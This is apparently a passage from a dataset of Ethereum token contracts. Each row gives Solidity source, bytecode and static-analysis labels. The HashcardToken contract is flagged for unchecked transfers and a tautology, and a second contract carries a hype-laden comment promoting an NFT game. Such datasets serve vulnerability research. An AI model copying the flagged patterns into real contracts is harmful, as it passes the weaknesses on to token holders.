48e96d9a6a5cfd1a1dcf9e44a31dd9f830dc0c9395270497f8d1c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,123
0x14eae1322abcadf490bc6ebd6a821a86373e20c4
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint64 public releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public { require(_releaseTime > uint64(block.timestamp)); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(uint64(block.timestamp) >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract HashcardToken is StandardToken, BurnableToken, Owned { string public constant name = "Hash Card"; string public constant symbol = "HSHC"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (150 million) uint256 public constant HARD_CAP = 150000000 * 10**uint256(decimals); /// This address is used to keep the tokens for sale address public saleTokensAddress; /// This address is used to keep the bounty tokens address public bountyTokensAddress; /// This address is used to keep the reserve tokens address public reserveTokensAddress; /// This address will receive the team tokens once they are unlocked address public teamTokensAddress; /// This address will receive the advisors tokens once they are unlocked address public advisorsTokensAddress; /// This address will hold the locked Team tokens TokenTimelock public teamTokensLock; /// This address will hold the locked Advisors tokens TokenTimelock public advisorsTokensLock; /// Team and Advisors unlock date (01 Nov 2019) uint64 private constant date01Nov2019 = 1572566400; /// the trading will open when this is set to true bool public saleClosed = false; /// Only the team is allowed to execute modifier onlySaleTeam { require(msg.sender == saleTokensAddress || msg.sender == bountyTokensAddress); _; } /// Only allowed to execute before the token sale is closed modifier beforeEnd { require(!saleClosed); _; } constructor(address _teamTokensAddress, address _advisorsTokensAddress, address _reserveTokensAddress, address _saleTokensAddress, address _bountyTokensAddress) public { require(_teamTokensAddress != address(0)); require(_advisorsTokensAddress != address(0)); require(_reserveTokensAddress != address(0)); require(_saleTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); teamTokensAddress = _teamTokensAddress; advisorsTokensAddress = _advisorsTokensAddress; reserveTokensAddress = _reserveTokensAddress; saleTokensAddress = _saleTokensAddress; bountyTokensAddress = _bountyTokensAddress; /// Maximum tokens to be allocated on the sale /// 90 million HSHC uint256 saleTokens = 90000000 * 10**uint256(decimals); totalSupply_ = saleTokens; balances[saleTokensAddress] = saleTokens; emit Transfer(address(0), saleTokensAddress, saleTokens); /// Bounty tokens - 6 million HSHC uint256 bountyTokens = 6000000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; emit Transfer(address(0), bountyTokensAddress, bountyTokens); /// Reserve tokens - 24 million HSHC uint256 reserveTokens = 24000000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(reserveTokens); balances[reserveTokensAddress] = reserveTokens; emit Transfer(address(0), reserveTokensAddress, reserveTokens); /// Team tokens - 22.5M HSHC uint256 teamTokens = 22500000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(teamTokens); teamTokensLock = new TokenTimelock(this, teamTokensAddress, date01Nov2019); balances[address(teamTokensLock)] = teamTokens; emit Transfer(address(0), address(teamTokensLock), teamTokens); /// Advisors tokens - 7.5M HSHC uint256 advisorsTokens = 7500000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(advisorsTokens); advisorsTokensLock = new TokenTimelock(this, advisorsTokensAddress, date01Nov2019); balances[address(advisorsTokensLock)] = advisorsTokens; emit Transfer(address(0), address(advisorsTokensLock), advisorsTokens); } function close() public onlyOwner beforeEnd { /// The unsold and unallocated bounty tokens are burnt _burn(saleTokensAddress, balances[saleTokensAddress]); _burn(bountyTokensAddress, balances[bountyTokensAddress]); saleClosed = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(!saleClosed) return false; return super.transferFrom(_from, _to, _value); } /// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool) { if(!saleClosed && msg.sender != saleTokensAddress && msg.sender != bountyTokensAddress) return false; return super.transfer(_to, _value); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d57806323b872dd14610258578063313ce567146102dd5780633a03171c1461030e57806342966c681461033957806343d726d614610366578063661884631461037d57806370a08231146103e25780637b0de0151461043957806388ea70ee146104905780638da5cb5b146104e7578063916e59011461053e57806395d89b4114610595578063a9059cbb14610625578063afa317441461068a578063b8c766b8146106e1578063c611ded714610710578063d20f502914610767578063d73dd623146107be578063dd62ed3e14610823578063e8144c421461089a575b600080fd5b34801561014457600080fd5b5061014d6108f1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061092a565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b50610242610a1c565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b506102c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a26565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610a5c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031a57600080fd5b50610323610a61565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b5061036460048036038101908080359060200190929190505050610a72565b005b34801561037257600080fd5b5061037b610a7f565b005b34801561038957600080fd5b506103c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c2c565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b50610423600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b6040518082815260200191505060405180910390f35b34801561044557600080fd5b5061044e610f05565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049c57600080fd5b506104a5610f2b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f357600080fd5b506104fc610f51565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054a57600080fd5b50610553610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a157600080fd5b506105aa610f9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ea5780820151818401526020810190506105cf565b50505050905090810190601f1680156106175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063157600080fd5b50610670600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd6565b604051808215151515815260200191505060405180910390f35b34801561069657600080fd5b5061069f6110be565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ed57600080fd5b506106f66110e4565b604051808215151515815260200191505060405180910390f35b34801561071c57600080fd5b506107256110f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077357600080fd5b5061077c61111d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ca57600080fd5b50610809600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611143565b604051808215151515815260200191505060405180910390f35b34801561082f57600080fd5b50610884600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061133f565b6040518082815260200191505060405180910390f35b3480156108a657600080fd5b506108af6113c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600981526020017f486173682043617264000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600a60149054906101000a900460ff161515610a475760009050610a55565b610a528484846113ec565b90505b9392505050565b601281565b601260ff16600a0a6308f0d1800281565b610a7c33826117a6565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610adb57600080fd5b600a60149054906101000a900460ff16151515610af757600080fd5b610b83600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a6565b610c0f600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a6565b6001600a60146101000a81548160ff021916908315150217905550565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d3d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd1565b610d50838261195990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f485348430000000000000000000000000000000000000000000000000000000081525081565b6000600a60149054906101000a900460ff161580156110435750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b801561109d5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156110ab57600090506110b8565b6110b58383611972565b90505b92915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60149054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111d482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561147657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561150157600080fd5b611552826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116b682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156117f357600080fd5b611844816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189b8160015461195990919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115151561196757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119af57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119fc57600080fd5b611a4d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611ba557fe5b80915050929150505600a165627a7a72305820d4fd025546448ed7b7f61b207160e6bfbd2fb286662ca679479ee8a7a0180c020029
{"success": true, "error": null, "results": {}}
7,124
0xbf6728cd9cb35856563df3ecd907753b20d891f4
/* Ahigo Adventure: Banana monkey Run in Funky jungle The jungle is at risk of monkeys but Ahigo came to save it with his friends Bear and eagle so download the game to help him its new type of 2D adventures and run games its Infinite games easy and hard to play in the same time all you have to do is jump and swip and move like monkey but you must be careful from the obstacles and eneMonkey because they will fight you the game had a HD graphics simple and fun gameplay with many gifts there to help you and have fun when you play it like a jungle adventures 3 so download it and enjoy TAKE POSITION, ARM UP, AND CONQUER! Various races, Devastating spells, Indestructible buildings and Mighty Monkey! Form your own indomitable army to protect and expand your sovereignty A BLOCKCHAIN-BASED WAR 2D GAME Innovative blockchain-based technology with unique algorithms Various battle modes and diverse features for both F2P and P2F players All transactions and data are tracked and supervised from prestigious 3rd parties BATTLE MODES Battles in Ahigo Adventures are relentless and require the bravest Monkey. The game offers various forms of battles to fit with all types of users, whether they are seeking for a Free-to-play, Play-to-feel, or a Hardcore game. THE ERA OF AHIGO ADVENTURES UNIVERSE WITH MONKEY FUNKY The map in Ahigo Adventures includes tokenized plots of land, which fields the buildings productivity and the Monkey abilities. Sale Proceed Allocation 95% liquidity 3% Marketing Ahigo Adventures: A new fascinating Play- to- Earn NFT Game With the increasing popularity of NFT games, Ahigo Adventures is proudly introducing as a new fascinating NFT game to immerse yourself in the legendary MONKEYFUNKY world and fierce battles. This game brings you to a completely new experience with impressive graphics, exciting gameplay, and attractive earning MONKEYFUNKY tokens opportunities. About Ahigo Adventures Ahigo Adventures is a multiplayer role-playing NFT game in which players use different MONKEYFUNKY warriors to battle with others by honing their skills, improving their strength and combat power to eventually upgrade their levels. Ahigo Adventures aims to become a top NFT game and form a large and strong community. Ahigo Adventures is outstanding for its impressive graphics, gripping story, and unique MONKEYFUNKY characters. In the game, players can buy eggs to hatch into MONKEYFUNKYs, breeding and raising MONKEYFUNKYs to create new generations with special qualities. Players can use their MONKEYFUNKYs to join in battles in PvP mode to fight against other players or PvE mode in which they will beat the boss to receive rewards of MONKEYFUNKY tokens. Another exciting activity in MONKEYFUNKY Age is that players own land and use tokens to build their own system. Earning Mechanism Ahigo Adventures allows you to earn rewards of MONKEYFUNKY tokens after winning battles and completing quests by its earning mechanism. Ahigo Adventures offers daily quests for players to accomplish and there are also a lot of opportunities to battle in PvE and PvP so that players can earn rewards for victories. Funky Jungle Introduction With the recent impressive development in the NFT game industry, Funky Jungle is another promising option for game enthusiasts to truly immerse themselves in the fascinating strategic gameplay while being thrilled by the attractive earning mechanism. Website: http://ahigomonkey.com/ */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { 